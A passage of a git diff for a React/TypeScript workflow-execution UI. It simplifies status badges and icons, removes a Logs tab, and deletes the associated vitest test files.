     const startTime = job?.startDate?.getTime();
     const endTime = job?.endDate?.getTime();
 
-    const workflowStatus = getWorkflowStatusType(job, triggerExecution);
+    const taskExecutionsCompleted = job?.status === 'COMPLETED';
+    const triggerExecutionCompleted = !triggerExecution || triggerExecution?.status === 'COMPLETED';
 
     let duration = 0;
 
@@ -20,26 +21,20 @@ const WorkflowExecutionsHeader = ({job, triggerExecution}: {job: Job; triggerExe
     return (
         <header className="flex w-full items-center gap-x-3 px-3 py-4">
             <div className="flex items-center gap-x-2">
-                <span className="text-base font-bold uppercase">
-                    {workflowStatus === 'completed' && (
+                <span
+                    className={twMerge(
+                        (!taskExecutionsCompleted || !triggerExecutionCompleted) && 'text-destructive',
+                        'text-base font-bold uppercase'
+                    )}
+                >
+                    {taskExecutionsCompleted && triggerExecutionCompleted ? (
                         <Badge
                             icon={<CheckIcon className="size-5 text-success" />}
                             label="DONE"
                             styleType="success-outline"
                             weight="semibold"
                         />
-                    )}
-
-                    {workflowStatus === 'running' && (
-                        <Badge
-                            icon={<LoaderCircleIcon className="size-5 animate-spin" />}
-                            label="Running"
-                            styleType="primary-outline"
-                            weight="semibold"
-                        />
-                    )}
-
-                    {workflowStatus === 'failed' && (
+                    ) : (
                         <Badge label="Workflow failed" styleType="destructive-filled" weight="semibold" />
                     )}
                 </span>
diff --git a/client/src/shared/components/workflow-executions/WorkflowExecutionsTabsPanel.tsx b/client/src/shared/components/workflow-executions/WorkflowExecutionsTabsPanel.tsx
index 5c0da622df9..7e025e29198 100644
--- a/client/src/shared/components/workflow-executions/WorkflowExecutionsTabsPanel.tsx
+++ b/client/src/shared/components/workflow-executions/WorkflowExecutionsTabsPanel.tsx
@@ -12,30 +12,26 @@ import {ScrollArea, ScrollBar} from '@/components/ui/scroll-area';
 import {Tabs, TabsContent, TabsList, TabsTrigger} from '@/components/ui/tabs';
 import WorkflowExecutionContent from '@/shared/components/workflow-executions/WorkflowExecutionContent';
 import WorkflowExecutionContentClipboardButton from '@/shared/components/workflow-executions/WorkflowExecutionContentClipboardButton';
-import WorkflowExecutionLogsContent from '@/shared/components/workflow-executions/WorkflowExecutionLogsContent';
 import {getDisplayValue, hasDialogContentValue} from '@/shared/components/workflow-executions/WorkflowExecutionsUtils';
 import {Job, TaskExecution, TriggerExecution} from '@/shared/middleware/automation/workflow/execution';
-import {TabValueType} from '@/shared/types';
-import {AlertCircleIcon, ExpandIcon, ScrollTextIcon} from 'lucide-react';
+import {AlertCircleIcon, ExpandIcon} from 'lucide-react';
 import {useMemo} from 'react';
 
 const WorkflowExecutionsTabsPanel = ({
     activeTab,
     dialogOpen,
-    isEditorEnvironment = false,
     job,
     selectedItem,
     setActiveTab,
     setDialogOpen,
     triggerExecution,
 }: {
-    activeTab: TabValueType;
-    setActiveTab: (value: TabValueType) => void;
+    activeTab: 'input' | 'output' | 'error';
+    setActiveTab: (value: 'input' | 'output' | 'error') => void;
     dialogOpen: boolean;
     setDialogOpen: (open: boolean) => void;
     selectedItem: TriggerExecution | TaskExecution | undefined;
     job: Job;
-    isEditorEnvironment?: boolean;
     triggerExecution?: TriggerExecution;
 }) => {
     const displayValue = useMemo(
@@ -78,7 +74,7 @@ const WorkflowExecutionsTabsPanel = ({
         <Tabs
             className="flex h-full flex-col"
             defaultValue={activeTab}
-            onValueChange={(value) => setActiveTab(value as TabValueType)}
+            onValueChange={(value) => setActiveTab(value as 'input' | 'output' | 'error')}
             value={activeTab}
         >
             <div className="flex items-center justify-between p-3">
@@ -118,12 +114,6 @@ const WorkflowExecutionsTabsPanel = ({
                             <span className="text-content-destructive-primary">Error</span>
                         </TabsTrigger>
                     )}
-
-                    <TabsTrigger className="flex items-center gap-x-1" value="logs">
-                        <ScrollTextIcon className="size-4" />
-
-                        <span>Logs</span>
-                    </TabsTrigger>
                 </TabsList>
 
                 {hasDialogContent && (
@@ -200,20 +190,6 @@ const WorkflowExecutionsTabsPanel = ({
                     <TabsContent className="p-3" value="error">
                         <WorkflowExecutionContent error={selectedItem?.error} />
                     </TabsContent>
-
-                    <TabsContent className="h-full p-3" value="logs">
-                        {job.id && (
-                            <WorkflowExecutionLogsContent
-                                isEditorEnvironment={isEditorEnvironment}
-                                jobId={job.id}
-                                taskExecutionId={
-                                    selectedItem && 'workflowTask' in selectedItem
-                                        ? (selectedItem as TaskExecution).id
-                                        : undefined
-                                }
-                            />
-                        )}
-                    </TabsContent>
                 </div>
 
                 <ScrollBar orientation="horizontal" />
diff --git a/client/src/shared/components/workflow-executions/WorkflowExecutionsUtils.ts b/client/src/shared/components/workflow-executions/WorkflowExecutionsUtils.ts
index 93b40e135f3..ef84ba16b51 100644
--- a/client/src/shared/components/workflow-executions/WorkflowExecutionsUtils.ts
+++ b/client/src/shared/components/workflow-executions/WorkflowExecutionsUtils.ts
@@ -1,6 +1,5 @@
 import {Job, TaskExecution, TriggerExecution} from '@/shared/middleware/automation/workflow/execution';
 import {WorkflowTestExecution} from '@/shared/middleware/platform/workflow/test';
-import {TabValueType} from '@/shared/types';
 
 export interface TaskTreeItemProps {
     children: TaskTreeItemProps[];
@@ -113,7 +112,7 @@ export const getInitialSelectedItem = (
 interface GetDisplayValueProps {
     job: Job;
     selectedItem: TaskExecution | TriggerExecution | undefined;
-    tab: TabValueType;
+    tab: 'input' | 'output' | 'error';
     triggerExecution?: TriggerExecution;
 }
 
@@ -173,10 +172,5 @@ export const hasDialogContentValue = ({job, selectedItem, tab, triggerExecution}
         return hasValue(displayValue);
     }
 
-    // Logs tab has its own display mechanism, no dialog content
-    if (tab === 'logs') {
-        return false;
-    }
-
     return false;
 };
diff --git a/client/src/shared/components/workflow-executions/WorkflowTaskExecutionItem.tsx b/client/src/shared/components/workflow-executions/WorkflowTaskExecutionItem.tsx
index 3f310311291..bd2a879da9c 100644
--- a/client/src/shared/components/workflow-executions/WorkflowTaskExecutionItem.tsx
+++ b/client/src/shared/components/workflow-executions/WorkflowTaskExecutionItem.tsx
@@ -1,17 +1,20 @@
 import LazyLoadSVG from '@/components/LazyLoadSVG/LazyLoadSVG';
-import {getExecutionStatusIcon} from '@/shared/components/workflow-executions/util/workflowExecution-utils';
 import {TaskExecution} from '@/shared/middleware/platform/workflow/execution';
+import {AlertTriangleIcon, CheckIcon} from 'lucide-react';
 
 const WorkflowTaskExecutionItem = ({taskExecution}: {taskExecution: TaskExecution}) => {
-    const {endDate, icon, startDate, status, title, workflowTask} = taskExecution;
+    const {endDate, icon, startDate, title, workflowTask} = taskExecution;
 
     const duration = startDate && endDate && Math.round(endDate?.getTime() - startDate.getTime());
-    const statusIcon = getExecutionStatusIcon(status);
 
     return (
         <li className="flex w-full cursor-pointer items-center justify-between rounded-lg p-0 hover:bg-inherit">
             <div className="flex items-center gap-x-2 text-sm">
-                {statusIcon}
+                {taskExecution.status === 'COMPLETED' ? (
+                    <CheckIcon className="size-4 text-success" />
+                ) : (
+                    <AlertTriangleIcon className="size-4 text-destructive" />
+                )}
 
                 <div className="flex items-center gap-x-1">
                     {icon && <LazyLoadSVG className="size-5" src={icon} />}
diff --git a/client/src/shared/components/workflow-executions/WorkflowTriggerExecutionItem.tsx b/client/src/shared/components/workflow-executions/WorkflowTriggerExecutionItem.tsx
index 3e6cd7b4be6..302efb60c7b 100644
--- a/client/src/shared/components/workflow-executions/WorkflowTriggerExecutionItem.tsx
+++ b/client/src/shared/components/workflow-executions/WorkflowTriggerExecutionItem.tsx
@@ -1,17 +1,20 @@
 import LazyLoadSVG from '@/components/LazyLoadSVG/LazyLoadSVG';
-import {getExecutionStatusIcon} from '@/shared/components/workflow-executions/util/workflowExecution-utils';
 import {TriggerExecution} from '@/shared/middleware/automation/workflow/execution';
+import {AlertTriangleIcon, CheckIcon} from 'lucide-react';
 
 const WorkflowTriggerExecutionItem = ({triggerExecution}: {triggerExecution: TriggerExecution}) => {
-    const {endDate, icon, startDate, status, title, workflowTrigger} = triggerExecution;
+    const {endDate, icon, startDate, title, workflowTrigger} = triggerExecution;
 
     const duration = startDate && endDate && Math.round(endDate?.getTime() - startDate.getTime());
-    const statusIcon = getExecutionStatusIcon(status);
 
     return (
         <li className="flex w-full cursor-pointer items-center justify-between rounded-lg p-0 hover:bg-inherit">
             <div className="flex items-center gap-x-2 text-sm">
-                {statusIcon}
+                {triggerExecution.status === 'COMPLETED' ? (
+                    <CheckIcon className="size-4 text-success" />
+                ) : (
+                    <AlertTriangleIcon className="size-4 text-destructive" />
+                )}
 
                 <div className="flex items-center gap-x-1">
                     {icon && <LazyLoadSVG className="size-5" src={icon} />}
diff --git a/client/src/shared/components/workflow-executions/tests/WorkflowExecutionsHeader.test.tsx b/client/src/shared/components/workflow-executions/tests/WorkflowExecutionsHeader.test.tsx
deleted file mode 100644
index af734a264bb..00000000000
--- a/client/src/shared/components/workflow-executions/tests/WorkflowExecutionsHeader.test.tsx
+++ /dev/null
@@ -1,226 +0,0 @@
-import {Job, TriggerExecution} from '@/shared/middleware/platform/workflow/execution';
-import {render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import WorkflowExecutionsHeader from '../WorkflowExecutionsHeader';
-
-function createJob(overrides: Partial<Job> = {}): Job {
-    return {
-        priority: 1,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        ...overrides,
-    } as Job;
-}
-
-function createTriggerExecution(overrides: Partial<TriggerExecution> = {}): TriggerExecution {
-    return {
-        priority: 1,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        ...overrides,
-    } as TriggerExecution;
-}
-
-describe('WorkflowExecutionsHeader', () => {
-    describe('badge display', () => {
-        it('should display DONE badge when workflow is completed', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'COMPLETED',
-                taskExecutions: [{} as never],
-            });
-
-            render(<WorkflowExecutionsHeader job={job} />);
-
-            expect(screen.getByText('DONE')).toBeInTheDocument();
-        });
-
-        it('should display Running badge when workflow is running', () => {
-            const job = createJob({
-                endDate: undefined,
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'STARTED',
-                taskExecutions: [{} as never],
-            });
-
-            render(<WorkflowExecutionsHeader job={job} />);
-
-            expect(screen.getByText('Running')).toBeInTheDocument();
-        });
-
-        it('should display Workflow failed badge when workflow has failed', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'FAILED',
-                taskExecutions: [{} as never],
-            });
-
-            render(<WorkflowExecutionsHeader job={job} />);
-
-            expect(screen.getByText('Workflow failed')).toBeInTheDocument();
-        });
-
-        it('should display Running badge when job is CREATED (not yet started)', () => {
-            const job = createJob({
-                endDate: undefined,
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'CREATED',
-                taskExecutions: [],
-            });
-
-            render(<WorkflowExecutionsHeader job={job} />);
-
-            expect(screen.getByText('Running')).toBeInTheDocument();
-        });
-    });
-
-    describe('badge display with triggerExecution', () => {
-        it('should display DONE badge when both job and trigger are completed', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'COMPLETED',
-                taskExecutions: [{} as never],
-            });
-            const triggerExecution = createTriggerExecution({status: 'COMPLETED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('DONE')).toBeInTheDocument();
-        });
-
-        it('should display Workflow failed badge when job is completed but trigger failed', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'COMPLETED',
-                taskExecutions: [{} as never],
-            });
-            const triggerExecution = createTriggerExecution({status: 'FAILED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Workflow failed')).toBeInTheDocument();
-        });
-
-        it('should display Workflow failed badge when job is completed but trigger is still running', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'COMPLETED',
-                taskExecutions: [{} as never],
-            });
-            const triggerExecution = createTriggerExecution({status: 'STARTED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Workflow failed')).toBeInTheDocument();
-        });
-
-        it('should display Running badge when both job and trigger are running', () => {
-            const job = createJob({
-                endDate: undefined,
-                status: 'STARTED',
-                taskExecutions: [{} as never],
-            });
-            const triggerExecution = createTriggerExecution({status: 'STARTED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Running')).toBeInTheDocument();
-        });
-
-        it('should display Running badge when job is running and trigger is CREATED', () => {
-            const job = createJob({
-                endDate: undefined,
-                status: 'STARTED',
-                taskExecutions: [],
-            });
-            const triggerExecution = createTriggerExecution({status: 'CREATED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Running')).toBeInTheDocument();
-        });
-
-        it('should display Workflow failed badge when job is running but trigger failed', () => {
-            const job = createJob({
-                endDate: undefined,
-                status: 'STARTED',
-                taskExecutions: [{} as never],
-            });
-            const triggerExecution = createTriggerExecution({status: 'FAILED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Workflow failed')).toBeInTheDocument();
-        });
-
-        it('should display Workflow failed badge when job failed regardless of trigger status', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'FAILED',
-                taskExecutions: [{} as never],
-            });
-            const triggerExecution = createTriggerExecution({status: 'COMPLETED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Workflow failed')).toBeInTheDocument();
-        });
-
-        it('should display Workflow failed badge when trigger is cancelled', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'COMPLETED',
-                taskExecutions: [{} as never],
-            });
-            const triggerExecution = createTriggerExecution({status: 'CANCELLED'});
-
-            render(<WorkflowExecutionsHeader job={job} triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Workflow failed')).toBeInTheDocument();
-        });
-    });
-
-    describe('execution details', () => {
-        it('should display duration when start and end dates are provided', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'COMPLETED',
-                taskExecutions: [],
-            });
-
-            render(<WorkflowExecutionsHeader job={job} />);
-
-            expect(screen.getByText('Duration: 5000ms')).toBeInTheDocument();
-        });
-
-        it('should display task count with singular form for one task', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'COMPLETED',
-                taskExecutions: [{} as never],
-            });
-
-            render(<WorkflowExecutionsHeader job={job} />);
-
-            expect(screen.getByText('1 task executed')).toBeInTheDocument();
-        });
-
-        it('should display task count with plural form for multiple tasks', () => {
-            const job = createJob({
-                endDate: new Date('2024-01-01T10:00:05'),
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'COMPLETED',
-                taskExecutions: [{} as never, {} as never, {} as never],
-            });
-
-            render(<WorkflowExecutionsHeader job={job} />);
-
-            expect(screen.getByText('3 tasks executed')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/shared/components/workflow-executions/tests/WorkflowTaskExecutionItem.test.tsx b/client/src/shared/components/workflow-executions/tests/WorkflowTaskExecutionItem.test.tsx
deleted file mode 100644
index e017b50037a..00000000000
--- a/client/src/shared/components/workflow-executions/tests/WorkflowTaskExecutionItem.test.tsx
+++ /dev/null
@@ -1,112 +0,0 @@
-import {TaskExecution} from '@/shared/middleware/platform/workflow/execution';
-import {render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import WorkflowTaskExecutionItem from '../WorkflowTaskExecutionItem';
-
-function createTaskExecution(overrides: Partial<TaskExecution> = {}): TaskExecution {
-    return {
-        priority: 1,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        title: 'Test Task',
-        workflowTask: {
-            label: 'Test Task Label',
-            name: 'testTask',
-            type: 'test/v1/testAction',
-        },
-        ...overrides,
-    } as TaskExecution;
-}
-
-describe('WorkflowTaskExecutionItem', () => {
-    describe('status icon integration', () => {
-        it('should render status icon from utility for completed task', () => {
-            const taskExecution = createTaskExecution({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'COMPLETED',
-            });
-
-            const {container} = render(<WorkflowTaskExecutionItem taskExecution={taskExecution} />);
-
-            expect(container.querySelector('.text-success')).toBeInTheDocument();
-        });
-
-        it('should render status icon from utility for started task', () => {
-            const taskExecution = createTaskExecution({
-                endDate: undefined,
-                status: 'STARTED',
-            });
-
-            const {container} = render(<WorkflowTaskExecutionItem taskExecution={taskExecution} />);
-
-            expect(container.querySelector('.animate-spin.text-primary')).toBeInTheDocument();
-        });
-
-        it('should render status icon from utility for failed task', () => {
-            const taskExecution = createTaskExecution({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'FAILED',
-            });
-
-            const {container} = render(<WorkflowTaskExecutionItem taskExecution={taskExecution} />);
-
-            expect(container.querySelector('.text-destructive')).toBeInTheDocument();
-        });
-    });
-
-    describe('task details display', () => {
-        it('should display task label from workflowTask', () => {
-            const taskExecution = createTaskExecution({
-                title: 'Fallback Title',
-                workflowTask: {
-                    label: 'Task Label',
-                    name: 'taskName',
-                    type: 'test/v1/action',
-                },
-            });
-
-            render(<WorkflowTaskExecutionItem taskExecution={taskExecution} />);
-
-            expect(screen.getByText('Task Label')).toBeInTheDocument();
-        });
-
-        it('should display title when workflowTask label is not available', () => {
-            const taskExecution = createTaskExecution({
-                title: 'Fallback Title',
-                workflowTask: {
-                    name: 'taskName',
-                    type: 'test/v1/action',
-                },
-            });
-
-            render(<WorkflowTaskExecutionItem taskExecution={taskExecution} />);
-
-            expect(screen.getByText('Fallback Title')).toBeInTheDocument();
-        });
-
-        it('should display duration when start and end dates are provided', () => {
-            const taskExecution = createTaskExecution({
-                endDate: new Date('2024-01-01T10:00:05'),
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'COMPLETED',
-            });
-
-            render(<WorkflowTaskExecutionItem taskExecution={taskExecution} />);
-
-            expect(screen.getByText('5000ms')).toBeInTheDocument();
-        });
-
-        it('should display 0ms when end date is not available', () => {
-            const taskExecution = createTaskExecution({
-                endDate: undefined,
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'STARTED',
-            });
-
-            render(<WorkflowTaskExecutionItem taskExecution={taskExecution} />);
-
-            expect(screen.getByText('0ms')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/shared/components/workflow-executions/tests/WorkflowTriggerExecutionItem.test.tsx b/client/src/shared/components/workflow-executions/tests/WorkflowTriggerExecutionItem.test.tsx
deleted file mode 100644
index 751956663c8..00000000000
--- a/client/src/shared/components/workflow-executions/tests/WorkflowTriggerExecutionItem.test.tsx
+++ /dev/null
@@ -1,112 +0,0 @@
-import {TriggerExecution} from '@/shared/middleware/automation/workflow/execution';
-import {render, screen} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import WorkflowTriggerExecutionItem from '../WorkflowTriggerExecutionItem';
-
-function createTriggerExecution(overrides: Partial<TriggerExecution> = {}): TriggerExecution {
-    return {
-        priority: 1,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        title: 'Test Trigger',
-        workflowTrigger: {
-            label: 'Test Trigger Label',
-            name: 'testTrigger',
-            type: 'test/v1/testTrigger',
-        },
-        ...overrides,
-    } as TriggerExecution;
-}
-
-describe('WorkflowTriggerExecutionItem', () => {
-    describe('status icon integration', () => {
-        it('should render status icon from utility for completed trigger', () => {
-            const triggerExecution = createTriggerExecution({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'COMPLETED',
-            });
-
-            const {container} = render(<WorkflowTriggerExecutionItem triggerExecution={triggerExecution} />);
-
-            expect(container.querySelector('.text-success')).toBeInTheDocument();
-        });
-
-        it('should render status icon from utility for started trigger', () => {
-            const triggerExecution = createTriggerExecution({
-                endDate: undefined,
-                status: 'STARTED',
-            });
-
-            const {container} = render(<WorkflowTriggerExecutionItem triggerExecution={triggerExecution} />);
-
-            expect(container.querySelector('.animate-spin.text-primary')).toBeInTheDocument();
-        });
-
-        it('should render status icon from utility for failed trigger', () => {
-            const triggerExecution = createTriggerExecution({
-                endDate: new Date('2024-01-01T10:00:05'),
-                status: 'FAILED',
-            });
-
-            const {container} = render(<WorkflowTriggerExecutionItem triggerExecution={triggerExecution} />);
-
-            expect(container.querySelector('.text-destructive')).toBeInTheDocument();
-        });
-    });
-
-    describe('trigger details display', () => {
-        it('should display trigger label from workflowTrigger', () => {
-            const triggerExecution = createTriggerExecution({
-                title: 'Fallback Title',
-                workflowTrigger: {
-                    label: 'Trigger Label',
-                    name: 'triggerName',
-                    type: 'test/v1/trigger',
-                },
-            });
-
-            render(<WorkflowTriggerExecutionItem triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Trigger Label')).toBeInTheDocument();
-        });
-
-        it('should display title when workflowTrigger label is not available', () => {
-            const triggerExecution = createTriggerExecution({
-                title: 'Fallback Title',
-                workflowTrigger: {
-                    name: 'triggerName',
-                    type: 'test/v1/trigger',
-                },
-            });
-
-            render(<WorkflowTriggerExecutionItem triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('Fallback Title')).toBeInTheDocument();
-        });
-
-        it('should display duration when start and end dates are provided', () => {
-            const triggerExecution = createTriggerExecution({
-                endDate: new Date('2024-01-01T10:00:05'),
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'COMPLETED',
-            });
-
-            render(<WorkflowTriggerExecutionItem triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('5000ms')).toBeInTheDocument();
-        });
-
-        it('should display 0ms when end date is not available', () => {
-            const triggerExecution = createTriggerExecution({
-                endDate: undefined,
-                startDate: new Date('2024-01-01T10:00:00'),
-                status: 'STARTED',
-            });
-
-            render(<WorkflowTriggerExecutionItem triggerExecution={triggerExecution} />);
-
-            expect(screen.getByText('0ms')).toBeInTheDocument();
-        });
-    });
-});
diff --git a/client/src/shared/components/workflow-executions/tests/workflowExecution-utils.test.tsx b/client/src/shared/components/workflow-executions/tests/workflowExecution-utils.test.tsx
deleted file mode 100644
index f5fd8b600e2..00000000000
--- a/client/src/shared/components/workflow-executions/tests/workflowExecution-utils.test.tsx
+++ /dev/null
@@ -1,253 +0,0 @@
-import {Job, TriggerExecution} from '@/shared/middleware/platform/workflow/execution';
-import {render} from '@/shared/util/test-utils';
-import {describe, expect, it} from 'vitest';
-
-import {ExecutionStatusType, getExecutionStatusIcon, getWorkflowStatusType} from '../util/workflowExecution-utils';
-
-function createJob(overrides: Partial<Job> = {}): Job {
-    return {
-        priority: 1,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        ...overrides,
-    } as Job;
-}
-
-function createTriggerExecution(overrides: Partial<TriggerExecution> = {}): TriggerExecution {
-    return {
-        batch: false,
-        maxRetries: 0,
-        priority: 1,
-        retryAttempts: 0,
-        retryDelay: 0,
-        retryDelayFactor: 0,
-        startDate: new Date('2024-01-01T10:00:00'),
-        status: 'COMPLETED',
-        ...overrides,
-    } as TriggerExecution;
-}
-
-describe('workflowExecution-utils', () => {
-    describe('getExecutionStatusIcon', () => {
-        it('should return check icon with success class for COMPLETED status', () => {
-            const {container} = render(getExecutionStatusIcon('COMPLETED'));
-
-            const icon = container.querySelector('.text-success');
-
-            expect(icon).toBeInTheDocument();
-        });
-
-        it('should return spinning loader icon with primary class for STARTED status', () => {
-            const {container} = render(getExecutionStatusIcon('STARTED'));
-
-            const icon = container.querySelector('.animate-spin.text-primary');
-
-            expect(icon).toBeInTheDocument();
-        });
-
-        it('should return spinning loader icon with primary class for CREATED status', () => {
-            const {container} = render(getExecutionStatusIcon('CREATED'));
-
-            const icon = container.querySelector('.animate-spin.text-primary');
-
-            expect(icon).toBeInTheDocument();
-        });
-
-        it('should return alert icon with destructive class for FAILED status', () => {
-            const {container} = render(getExecutionStatusIcon('FAILED'));
-
-            const icon = container.querySelector('.text-destructive');
-
-            expect(icon).toBeInTheDocument();
-        });
-
-        it('should return alert icon with destructive class for CANCELLED status', () => {
-            const {container} = render(getExecutionStatusIcon('CANCELLED'));
-
-            const icon = container.querySelector('.text-destructive');
-
-            expect(icon).toBeInTheDocument();
-        });
-
-        it('should return alert icon with destructive class for unknown status', () => {
-            const {container} = render(getExecutionStatusIcon('UNKNOWN' as ExecutionStatusType));
-
-            const icon = container.querySelector('.text-destructive');
-
-            expect(icon).toBeInTheDocument();
-        });
-    });
-
-    describe('getWorkflowStatusType', () => {
-        describe('completed status', () => {
-            it('should return completed when job is COMPLETED and no trigger execution', () => {
-                const job = createJob({status: 'COMPLETED'});
-
-                expect(getWorkflowStatusType(job)).toBe('completed');
-            });
-
-            it('should return completed when job is COMPLETED and trigger is COMPLETED', () => {
-                const job = createJob({status: 'COMPLETED'});
-                const trigger = createTriggerExecution({status: 'COMPLETED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('completed');
-            });
-        });
-
-        describe('running status', () => {
-            it('should return running when job is STARTED and no trigger execution', () => {
-                const job = createJob({status: 'STARTED'});
-
-                expect(getWorkflowStatusType(job)).toBe('running');
-            });
-
-            it('should return running when job is CREATED and no trigger execution', () => {
-                const job = createJob({status: 'CREATED'});
-
-                expect(getWorkflowStatusType(job)).toBe('running');
-            });
-
-            it('should return running when job is STARTED and trigger is STARTED', () => {
-                const job = createJob({status: 'STARTED'});
-                const trigger = createTriggerExecution({status: 'STARTED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('running');
-            });
-
-            it('should return running when job is STARTED and trigger is CREATED', () => {
-                const job = createJob({status: 'STARTED'});
-                const trigger = createTriggerExecution({status: 'CREATED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('running');
-            });
-
-            it('should return running when job is CREATED and trigger is STARTED', () => {
-                const job = createJob({status: 'CREATED'});
-                const trigger = createTriggerExecution({status: 'STARTED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('running');
-            });
-
-            it('should return running when job is CREATED and trigger is CREATED', () => {
-                const job = createJob({status: 'CREATED'});
-                const trigger = createTriggerExecution({status: 'CREATED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('running');
-            });
-        });
-
-        describe('failed status', () => {
-            it('should return failed when job is FAILED and no trigger execution', () => {
-                const job = createJob({status: 'FAILED'});
-
-                expect(getWorkflowStatusType(job)).toBe('failed');
-            });
-
-            it('should return failed when job is STOPPED and no trigger execution', () => {
-                const job = createJob({status: 'STOPPED'});
-
-                expect(getWorkflowStatusType(job)).toBe('failed');
-            });
-
-            it('should return failed when job is COMPLETED but trigger is FAILED', () => {
-                const job = createJob({status: 'COMPLETED'});
-                const trigger = createTriggerExecution({status: 'FAILED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-            });
-
-            it('should return failed when job is COMPLETED but trigger is CANCELLED', () => {
-                const job = createJob({status: 'COMPLETED'});
-                const trigger = createTriggerExecution({status: 'CANCELLED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-            });
-
-            it('should return failed when job is STARTED but trigger is FAILED', () => {
-                const job = createJob({status: 'STARTED'});
-                const trigger = createTriggerExecution({status: 'FAILED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-            });
-
-            it('should return failed when job is FAILED and trigger is COMPLETED', () => {
-                const job = createJob({status: 'FAILED'});
-                const trigger = createTriggerExecution({status: 'COMPLETED'});
-
-                expect(getWorkflowStatusType(job, trigger)).toBe('failed');
-            });
-        });
-
-        describe('polling behavior (isWorkflowRunning)', () => {
-            function isWorkflowRunning(job: Job | undefined, triggerExecution?: TriggerExecution): boolean {
-                if (!job) {
-                    return false;
-                }
-
-                return getWorkflowStatusType(job, triggerExecution) === 'running';
-            }
-
-            it('should enable polling when job is STARTED', () => {
-                const job = createJob({status: 'STARTED'});
-
-                expect(isWorkflowRunning(job)).toBe(true);
-            });
-
-            it('should enable polling when job is CREATED', () => {
-                const job = createJob({status: 'CREATED'});
-
-                expect(isWorkflowRunning(job)).toBe(true);
-            });
-
-            it('should enable polling when job is STARTED and trigger is STARTED', () => {
-                const job = createJob({status: 'STARTED'});
-                const trigger = createTriggerExecution({status: 'STARTED'});
-
-                expect(isWorkflowRunning(job, trigger)).toBe(true);
-            });
-
-            it('should disable polling when job is undefined', () => {
-                expect(isWorkflowRunning(undefined)).toBe(false);
-            });
-
-            it('should disable polling when job is COMPLETED', () => {
-                const job = createJob({status: 'COMPLETED'});
-
-                expect(isWorkflowRunning(job)).toBe(false);
-            });
-
-            it('should disable polling when job is FAILED', () => {
-                const job = createJob({status: 'FAILED'});
-
-                expect(isWorkflowRunning(job)).toBe(false);
-            });
-
-            it('should disable polling when job is STOPPED', () => {
-                const job = createJob({status: 'STOPPED'});
-
-                expect(isWorkflowRunning(job)).toBe(false);
-            });
-
-            it('should disable polling when job is COMPLETED and trigger is COMPLETED', () => {
-                const job = createJob({status: 'COMPLETED'});
-                const trigger = createTriggerExecution({status: 'COMPLETED'});
-
-                expect(isWorkflowRunning(job, trigger)).toBe(false);
-            });
-
-            it('should disable polling when trigger is FAILED even if job is STARTED', () => {
-                const job = createJob({status: 'STARTED'});
-                const trigger = createTriggerExecution({status: 'FAILED'});
-
-                expect(isWorkflowRunning(job, trigger)).toBe(false);
-            });
-
-            it('should disable polling when trigger is CANCELLED even if job is STARTED', () => {
